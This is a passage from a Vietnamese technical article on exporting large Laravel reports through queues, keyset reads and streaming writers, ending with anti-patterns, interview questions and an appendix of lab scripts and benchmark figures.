ExportWriter { header(); row(array); close(); }với hai implementation CSV và OpenSpout; báo cáo nhỏ cần định dạng mới dùng Laravel Excel. Đổi thư viện = đổi một class. - Rủi ro dài hạn: dữ liệu tăng 10 lần mỗi vài năm. Thiết kế có RAM phẳng và thời gian tuyến tính chịu được; thiết kế O(N) RAM sẽ chết đúng ngày có nhiều dữ liệu nhất (cuối năm tài chính).
ADR mẫu (chép được): Bối cảnh: export đồng bộ gây OOM và 504 khi bảng orders vượt 100 nghìn dòng. Quyết định: mọi export trên 10 nghìn dòng chạy trong queue
exportsriêng; đọc bằng keyset +toBase+max_id; CSV mặc định, OpenSpout khi cần XLSX; giao file bằng signed URL 30 phút; file xoá sau 72 giờ. Hệ quả: người dùng chờ có tiến độ thay vì tải ngay; thêm 1 bảng, 1 queue, 2 worker; RAM mỗi export ~32MB không phụ thuộc kích thước. Xem lại khi: export đồng thời > 10 hoặc báo cáo vượt 5 triệu dòng (cân nhắc BI).
9. Anti-patterns và bài học thực tế
- Nâng
memory_limitđể sửa OOM. Đẩy điểm chết ra xa, và từ PHP 8.4.27 một worker còn được phình tới gấp đôi con số đó. Case 2 của bài Tối ưu Laravel là đúng kịch bản này. - Tin
FromQuery/chunklà RAM phẳng. Laravel Excel 100 nghìn dòng vẫn 610MB. cursor()nghĩ là stream. Buffered mặc định, 125,6MB; tài liệu Laravel đã cảnh báo.chunk()có OFFSET trên bảng đang ghi. Mất dòng thật, không lỗi (mục 4.1). Còn chậm gấp 5 lần.- Stream export dài và tin HTTP 200. File 422 997/500 000 dòng.
- Tăng timeout nginx/FPM cho route export. Không có trần nào đúng; mỗi lần tăng là thêm thời gian giữ worker web.
retry_aftermặc định 90s với job export 5 phút. Job chạy hai lần hoặc báo thất bại giả.- Dựa vào
failed()để dọn trạng thái. Không chạy khi tiến trình chết cứng (137). - Lưu file ở
public/với tên đoán được (orders-123.csv): ai đoán được id là tải được. - Không chống formula injection vì "chỉ admin xuất" — dữ liệu do khách nhập, admin mới là người mở file.
- Gửi file qua email làm đính kèm. File 92MB vượt giới hạn mọi mail server; gửi link.
Điều tài liệu chính thức không nói nhưng người vận hành lâu năm đều biết: export là tính năng hay bị dùng sai mục đích nhất — người dùng xuất cả bảng mỗi sáng để tự lọc trong Excel. Khi thấy cùng một người xuất cùng báo cáo mỗi ngày, câu hỏi đúng là "họ cần màn hình gì", không phải "làm sao xuất nhanh hơn".
10. Câu hỏi phụ interviewer hay hỏi tiếp
"chunk và lazy khác nhau gì? cursor thì sao?"
Cùng chạy theo lô, khác cách trả kết quả: chunk gọi callback với từng Collection, lazy trả một LazyCollection phẳng. Điều
quan trọng hơn là bản có ById hay không (keyset vs OFFSET: 9,5s vs 45,8s và không mất dòng). cursor một query duy nhất, hydrate
từng Model, nhưng driver vẫn buffer cả kết quả thô (125,6MB) trừ khi tắt buffer — và tắt thì không chạy query khác được trên connection đó.
"Vì sao không dùng Laravel Excel cho tất cả?"
Nó là lớp bọc PhpSpreadsheet, giữ mọi ô trong RAM (~1KB/ô): 100 nghìn dòng 610MB. Chế độ queue mỗi chunk đọc lại cả file: 50 nghìn dòng 480s. Tốt cho báo cáo nhỏ cần định dạng.
"User bấm Xuất 5 lần thì sao?"
Unique index trên khoá (user, bộ lọc) của export đang chạy: 1 cái 202, 4 cái 200 trả cùng id. ShouldBeUnique chỉ chặn ở mức queue, 4 request
kia không biết theo dõi gì. Cộng throttle 3/phút/user.
"Worker chết giữa chừng thì sao?"
Chết vì timeout: Laravel gọi failed() trước khi thoát, dọn file được. Chết cứng (OOM hard limit, SIGKILL): failed() không chạy, job
nằm reserved tới retry_after, có thể được chạy lại. Nên job phải chạy lại được (file tên mới, trạng thái theo id) và có watchdog đánh dấu export
không cập nhật tiến độ quá N phút.
"Dữ liệu thay đổi trong lúc xuất thì file có đúng không?"
Keyset + max_id: không mất dòng, không lẫn dòng mới, nhưng dòng bị sửa giữa chừng mang giá trị mới. Cần ảnh chụp tuyệt đối thì
START TRANSACTION WITH CONSISTENT SNAPSHOT, chạy trên replica vì transaction dài giữ undo log.
"Sao không stream luôn cho nhanh, khỏi queue?"
Được, khi chắc xong trong vài giây. Quá timeout FPM thì người dùng nhận file thiếu dòng kèm HTTP 200 — không có cách báo lỗi sau khi header đã gửi. Và stream vẫn chiếm một worker web suốt thời gian chạy.
"File 2GB thì gửi cho người dùng thế nào?"
Không đi qua PHP: lưu S3, temporaryUrl (presigned), trình duyệt tải thẳng từ S3. Nếu ở disk local thì X-Accel-Redirect/X-Sendfile
để nginx gửi file (chưa lab trong bài này). Nén gzip/zip trước khi lưu.
"Làm sao báo cho người dùng khi xong?"
Ba mức tăng dần độ phức tạp: polling GET /exports/{id} mỗi 2–5 giây (lab dùng cách này); notification database + chuông thông báo; broadcast
qua WebSocket (Reverb/Pusher). Email kèm link cho export rất lâu. Không đính kèm file vào email.
"Xuất cho 1 triệu dòng thì mất bao lâu?"
Ngoại suy tuyến tính từ lab (500 nghìn dòng: 6–9s CSV, 37s OpenSpout): khoảng 12–18s CSV và ~75s XLSX trên máy tương tự — đây là ước lượng, chưa đo 1 triệu. Quan trọng hơn con số là RAM không đổi và thời gian tuyến tính, nên 10 triệu cũng chạy, chỉ lâu hơn.
"Chia song song có nhanh gấp N lần không?"
Không: 4 worker được 1,9 lần, 8 worker còn chậm hơn 4 trên máy 4 nhân. Phần không song song được và database dùng chung chặn trần (Amdahl).
Phụ lục: lab đã chạy
Môi trường: Docker trên host Linux 6.8, 4 vCPU dùng chung. Container tmp-export-mysql (mysql:8.4.13, giới hạn 1GB,
innodb_buffer_pool_size=256M, tắt binlog), tmp-export-php (image tự build từ php:8.4-fpm-alpine + pdo_mysql, zip, gd, pcntl, opcache; FPM
4 child static, memory_limit=128M, request_terminate_timeout=40s), tmp-export-nginx (nginx:alpine, chỉ nghe
127.0.0.1:18480, fastcgi_read_timeout 15s). Laravel 12.70.2 cài mới, queue + cache driver database, DB_QUEUE_RETRY_AFTER=20.
Lệnh artisan chạy CLI (opcache tắt) nên số MB ở CLI cao hơn trong FPM (stream: 28MB CLI vs 4MB FPM).
cd labs/laravel/xuat-bao-cao-nang
# lib.sh tự lấy thư mục chứa script; app/ Laravel được tạo cạnh script
bash 00-setup.sh # build image, dựng MySQL + Laravel + nginx, migrate
bash 01-seed.sh # 500k đơn hàng + bản sao orders_src để khôi phục
bash 02-fetch.sh # ... lần lượt tới 10
bash 99-cleanup.sh # xoá container, network, image
| Script | Làm gì | Mục |
|---|---|---|
00-setup.sh | Build image, MySQL 8.4.13, Laravel 12 + maatwebsite/excel + openspout, nginx, migrate, in version | Môi trường |
01-seed.sh | 500 000 đơn (100MB), 500 ghi chú dạng công thức, bảng orders_src | Tất cả |
02-fetch.sh | get/chunk/chunkById/lazy/lazyById/cursor, buffered/unbuffered, Eloquent/toBase; OOM ở 256M; lỗi 2014, 2006 | 3.1, 5.8 |
03-writers.sh | fputcsv, nối chuỗi, OpenSpout, PhpSpreadsheet, Laravel Excel ở 10k/50k/100k/500k dòng | 3.2 |
04-in-request.sh | stream vs build qua nginx: 504, file thiếu dòng 200, client bỏ, 4 export chiếm pool | 3.3, 5.1–5.3 |
05-queue.sh | Chống trùng (không/ShouldBeUnique/unique index), throttle, tiến độ, signed URL | 3.4, 5.7 |
out/05b-worker-as-root.log | Lần chạy đầu của 05: worker root, link tải 500 | 5.9 |
06-worker-failures.sh | OOM hard limit 137, timeout + file dở, --timeout > retry_after | 5.4–5.6 |
07-batch.sh | 1 job vs Bus::batch 2/4/8 lát, so md5 | 3.5 |
08-consistency.sh | Xoá/sửa/chèn trong lúc xuất: OFFSET, keyset, keyset+max_id, snapshot | 4.1 |
09-csv-safety.sh | Formula injection, BOM, fputcsv $escape PHP 8.4 | 5.11 |
10-laravel-excel-queued.sh | Laravel Excel queue: thời gian từng chunk, worker exit 12 | 5.10 |
99-cleanup.sh | Xoá container/network/image tmp-export-* | — |
Code ứng dụng lab nằm ở files/app/ (migration, Csv, các job, ExportController, routes/lab.php, lệnh
lab:fetch, lab:write, lab:batch, lab:drift); 00-setup.sh chép đè vào app Laravel mới.
Nguồn đối chiếu (không phải lab): tài liệu Laravel 12 (Eloquent cursor/lazy, queues: timeout/retry_after/ShouldBeUnique/WithoutOverlapping,
filesystem temporaryUrl, URL signing, rate limiting) qua Context7; tài liệu PhpSpreadsheet "Memory saving"; tài liệu OpenSpout; source maatwebsite/excel 4.0.6
(src/Sheet.php, src/Jobs/AppendQueryToSheet.php); source php-src PHP-8.4 sapi/fpm/fpm/fpm_conf.c (heartbeat = timeout/3);
php.net "Buffered and Unbuffered queries"; OWASP CSV Injection; bài viết về memory_hard_limit_percent sau bản vá PHP2Shell (ma.ttias.be,
computingforgeeks) — hành vi exit 137 thì đã đo trong lab 06.
Chưa verify:
- Đọc từ read replica và ảnh hưởng replica lag tới export.
- Chi phí của consistent snapshot dài trên bảng ghi nhiều (undo/purge lag) — lab chỉ thấy History list length 22 → 25.
- Keyset hai cột khi sắp xếp theo
created_at. - S3 thật (presigned URL, multipart upload, lifecycle),
X-Accel-Redirect. - PostgreSQL: lab chỉ chạy MySQL 8.4 (PostgreSQL pdo_pgsql cũng buffer cả kết quả trừ khi dùng cursor server-side — chưa đo).
- 1 triệu dòng trở lên, giới hạn 1 048 576 dòng/sheet XLSX, tỷ lệ nén gzip của CSV.
- Phiên bản PHP chưa vá PHP2Shell (không có giới hạn cứng) — hành vi OOM của worker ở đó là lỗi fatal thường.